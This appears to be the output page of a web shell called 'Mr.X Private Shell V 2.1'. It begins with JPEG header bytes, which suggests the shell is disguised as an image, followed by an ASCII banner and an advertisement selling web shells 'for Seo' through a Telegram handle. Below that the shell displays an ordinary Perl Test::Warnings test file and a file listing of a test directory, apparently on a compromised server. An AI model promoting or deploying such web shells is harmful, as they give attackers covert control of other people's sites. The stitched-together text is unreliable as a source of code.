����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
use strict;
use warnings;
# this test demonstrates that warnings can be captured and tested, and other
# expected warnings can be whitelisted, to allow the had-no-warnings test not
# to fail
use Test::More tests => 2;
use Test::Warnings ':all';
use Test::Deep;
my @lines;
my @warnings = warnings {
warn 'testing 1 2 3'; push @lines, __LINE__;
warn 'another warning'; push @lines, __LINE__;
};
my $file = __FILE__;
cmp_deeply(
\@warnings,
[
"testing 1 2 3 at $file line $lines[0].\n",
"another warning at $file line $lines[1].\n",
],
'successfully captured all warnings',
);
# make these warnings visible
allow_warnings;
warn $_ foreach @warnings;
allow_warnings(0);
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| no_plan.t | File | 575 B | 0644 |
|
| sub.t | File | 279 B | 0644 |
|
| synopsis_1.t | File | 186 B | 0644 |
|
| synopsis_2.t | File | 331 B | 0644 |
|
| test_nowarnings.t | File | 109 B | 0644 |
|
| test_warning_contents.t | File | 713 B | 0644 |
|
| warning_like.t | File | 698 B | 0644 |
|
| with_done_testing.t | File | 695 B | 0644 |
|
| with_plan.t | File | 652 B | 0644 |
|